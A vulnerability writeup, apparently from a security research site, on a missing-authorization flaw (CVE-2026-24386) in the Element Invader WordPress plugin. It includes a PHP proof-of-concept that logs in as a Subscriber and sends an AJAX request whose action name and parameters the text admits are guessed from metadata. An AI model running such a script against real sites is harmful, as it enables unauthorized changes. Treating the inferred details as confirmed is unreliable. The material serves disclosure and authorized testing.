Atomic Edge analysis of CVE-2026-24386 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Element Invader – Template Kits for Elementor WordPress plugin, affecting all versions up to and including 1.2.4. The vulnerability allows any authenticated user, including those with the low-privilege Subscriber role, to perform an unauthorized action due to a missing capability check on a plugin function.
Atomic Edge research identifies the root cause as a missing authorization or capability check on a function registered with WordPress’s AJAX or admin-post hook system. The CWE-862 classification confirms the absence of a proper check, such as `current_user_can()`, before executing a privileged action. This conclusion is inferred from the CWE and the description stating the issue is a ‘missing capability check on a function’. Without the source code, the exact function name is unconfirmed, but the pattern is consistent with WordPress plugin vulnerabilities.
An attacker exploits this by sending a crafted HTTP request to the WordPress AJAX or admin-post endpoint. The request targets the specific action hook the vulnerable function is registered under. For a plugin with the slug ‘elementinvader’, a likely AJAX action is ‘elementinvader_{action_name}’. The attacker, authenticated as a Subscriber, sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to the vulnerable hook and any required parameters for the unauthorized action.
The fix in version 1.2.5 likely adds a proper capability check to the vulnerable function. The patch should verify the requesting user has the necessary permissions, typically using `current_user_can(‘manage_options’)` or a plugin-specific capability, before proceeding with the function’s logic. The patch may also include nonce verification for additional CSRF protection, though the core issue is the missing authorization.
Successful exploitation allows a low-privileged attacker to perform an action reserved for administrators or editors. The CVSS vector indicates a low impact on integrity (I:L) with no effect on confidentiality or availability. The specific unauthorized action is not detailed, but in the context of a template kit plugin, it could involve modifying saved templates, importing/exporting kits, or changing plugin settings, leading to site defacement or disruption of site builders’ work.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24386 - Element Invader – Template Kits for Elementor <= 1.2.4 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24386.
* This script demonstrates unauthorized access to a privileged plugin function.
* The exact AJAX action name is inferred from the plugin slug and common patterns.
* Assumptions:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php.
* 2. The AJAX action hook contains the plugin slug 'elementinvader'.
* 3. The function lacks a capability check, allowing Subscriber-level access.
* 4. A valid WordPress user session (Subscriber or higher) is required.
*/
$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS - Subscriber-level credentials
$password = 'subscriber_pass'; // CHANGE THIS
// Step 1: Authenticate to WordPress and obtain session cookies.
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
// Perform login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Step 2: Send the unauthorized AJAX request.
// The exact action is unknown but likely follows 'elementinvader_' prefix.
// Common actions for a template kit plugin: 'import_kit', 'save_template', 'get_settings'.
$ajax_action = 'elementinvader_import_kit'; // INFERRED - This is a plausible example.
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
$ajax_fields = http_build_query([
'action' => $ajax_action,
// Other parameters required for the action would be inferred from plugin functionality.
'kit_id' => '1',
'confirm' => 'true'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $ajax_fields);
$ajax_response = curl_exec($ch);
echo "Response from AJAX endpoint:n";
echo $ajax_response;
curl_close($ch);
?>
